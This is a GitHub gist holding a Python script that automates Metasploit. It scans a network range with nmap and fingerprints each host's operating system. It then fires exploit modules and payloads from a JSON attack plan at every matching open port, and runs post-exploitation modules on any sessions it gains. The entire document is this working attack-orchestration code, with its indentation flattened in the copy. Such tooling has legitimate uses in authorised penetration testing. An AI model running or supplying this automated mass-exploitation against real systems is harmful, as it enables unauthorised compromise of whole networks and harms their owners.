Skip to content

Instantly share code, notes, and snippets.

@sdshlanta
Created October 13, 2017 00:35
Show Gist options
  • Save sdshlanta/4b9d1a4d1b005ac7fe8f786dbd4900fd to your computer and use it in GitHub Desktop.
Save sdshlanta/4b9d1a4d1b005ac7fe8f786dbd4900fd to your computer and use it in GitHub Desktop.
A Metasploit automation tool
#!/usr/bin/python
# horible monkey patching bullshit :P
import metasploit.msfrpc as msfrpc
# we need this because even though our replacement MsfModule.__init__ will go into the namespace of msfrpc
# this namespace is the highest it knows about and can't actually see into the namespace of msfrpc unless
# we bring stuff here.
from metasploit.msfrpc import MsfRpcMethod
def MsfModule__init__(self, rpc, mtype, mname):
"""
Initializes an msf module object.
Mandatory Arguments:
- rpc : the msfrpc client object.
- mtype : the module type (e.g. 'exploit')
- mname : the module name (e.g. 'exploits/windows/http/icecast_header')
"""
self.moduletype = mtype
self.modulename = mname
self.rpc = rpc
self._info = rpc.call(MsfRpcMethod.ModuleInfo, mtype, mname)
property_attributes = ["advanced", "evasion", "options", "required", "runoptions"]
for k in self._info:
if k not in property_attributes:
# don't try to set property attributes
setattr(self, k, self._info.get(k))
self._moptions = rpc.call(MsfRpcMethod.ModuleOptions, mtype, mname)
self._roptions = []
self._aoptions = []
self._eoptions = []
self._runopts = {}
for o in self._moptions:
if self._moptions[o]['required']:
self._roptions.append(o)
if self._moptions[o]['advanced']:
self._aoptions.append(o)
if self._moptions[o]['evasion']:
self._eoptions.append(o)
if 'default' in self._moptions[o]:
self._runopts[o] = self._moptions[o]['default']
# Override MsfModule's __init__ with one that doesn't break things
msfrpc.MsfModule.__init__ = MsfModule__init__
from metasploit.msfrpc import MsfRpcClient
from libnmap.parser import NmapParser
from libnmap.process import NmapProcess
import json
import time
import os
import sys
import threading
import socket
import code
import argparse
import yaml
def getDatabasePassword(path):
with open(path, 'r') as dbConfigFile:
dbConfig = yaml.load(dbConfigFile)
dbPassword = dbConfig['production']['password']
return dbPassword
def connectToRpc(password, port=55553):
e = True
while e:
try:
msfClient = MsfRpcClient(password=password, ssl=False, verify_ssl=False, port=port)
e = False
except socket.error as e:
print(str(e))
time.sleep(1)
return msfClient
def parseAttackPlan(filename):
# should validate the sploits and payloads
with open(filename, 'r') as fp:
attackPlanJson = json.load(fp)
return attackPlanJson
def scanHosts(hostRange):
nmapProc = NmapProcess(targets=hostRange, options="-O --system-dns")
nmapProc.run_background()
while nmapProc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(nmapProc.etc , nmapProc.progress))
time.sleep(2)
return nmapProc.stdout
def attackHost(host, msf, attackPlan):
hostOS = ''
if not host.os_fingerprinted:
return
osProbs = host.os_match_probabilities()
if osProbs:
for probs in osProbs:
for os_ in probs.osclasses:
try:
hostOs = os_.osfamily.lower()
attackPlan = attackPlan[hostOs]
break
except KeyError:
pass
else:
return
try:
msf.db.workspaces.current.hosts.report(host.address, os_name=hostOs)
except UnboundLocalError:
return
for port in [str(port[0]) for port in host.get_open_ports()]:
if port in attackPlan:
for attack in attackPlan[port]:
print(attack['exploit'])
exploit = msf.modules.use('exploit', attack['exploit'])
# print(exploit.payloads)
if 'options' in attack:
exploit.update(attack['options'])
exploit['RHOST'] = host.address
if 'payload' in attack:
results = exploit.execute(payload=attack['payload'])
else:
results = exploit.execute()
print(results)
# code.interact(local=locals())
# print(host)
def main():
if os.path.exists(args.databasePasswordFile):
databasePassword = getDatabasePassword(args.databasePasswordFile)
else:
print("Unable to find database config file: %s" % args.databasePasswordFile)
sys.exit()
attackPlan = parseAttackPlan(args.attackPlan)
msfClient = connectToRpc(args.password)
msfClient.db.connect(username="msf", database="msf", password=databasePassword, host="localhost")
print(msfClient.db.status)
if args.scan:
nmScan = scanHosts(args.scan)
nmapRep = NmapParser.parse(nmScan)
elif os.path.exists(args.file):
nmapRep = NmapParser.parse_fromfile(args.file)
else:
print("Invalid file: %s" % args.file)
sys.exit()
# fill in some info in the database for armitage
for host in nmapRep.hosts:
if host.status == "up":
hostOs = ''
if host.os_fingerprinted:
osProbs = host.os_match_probabilities()
for probs in osProbs:
for os_ in probs.osclasses:
hostOs = os_.osfamily.lower()
msfClient.db.workspaces.current.hosts.report(host.address, os_name=hostOs)
result = attackHost(host, msfClient, attackPlan)
# execute post modules
# if the lib wasn't broken I wouldn't have to do all this shit
for opsys in attackPlan:
osHosts = [host['address'] for host in filter(lambda x: x['os_name'] == opsys, msfClient.db.workspaces.current.hosts.list)]
sessionIDs = []
for sessionID, sessionInfo in msfClient.sessions.list.items():
if sessionInfo["session_host"] in osHosts:
sessionIDs.append(sessionID)
for sessionID in sessionIDs:
for postScript in attackPlan[opsys]['post']:
print(postScript['module'])
typeMarker = postScript['module'].index("/")
moduleType = postScript['module'][:typeMarker] # get the type of module
moduleName = postScript['module'][typeMarker+1:] # get the name of the module
postModule = msfClient.modules.use(moduleType, moduleName)
if 'options' in postScript:
postModule.update(postScript['options'])
postModule['SESSION'] = sessionID
results = postModule.execute()
print(results)
from pprint import pprint
pprint(msfClient.sessions.list)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-a', '--attackPlan', type=str, default='attackPlan.json', help="The path to the JSON file specifiing the attack plan")
parser.add_argument('-p', '--password', type=str, help="The password for the MSFRPC")
parser.add_argument('-D', '--databasePasswordFile', type=str,default="/usr/share/metasploit-framework/config/database.yml", help="The path to the metasploit database config file")
parser.add_argument('-P', '--port', type=int, default=55553, help="Port number of the RPC server. Default: 55553" )
mxg = parser.add_mutually_exclusive_group(required=True)
mxg.add_argument('-f', '--file', type=str, default='out.xml', help="The xml output form a nmap scan.")
mxg.add_argument('-s', '--scan', type=str, default=None, help="A valid nmap host specification string")
args = parser.parse_args()
args.file = os.path.abspath(args.file)
args.databasePasswordFile = os.path.abspath(args.databasePasswordFile)
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment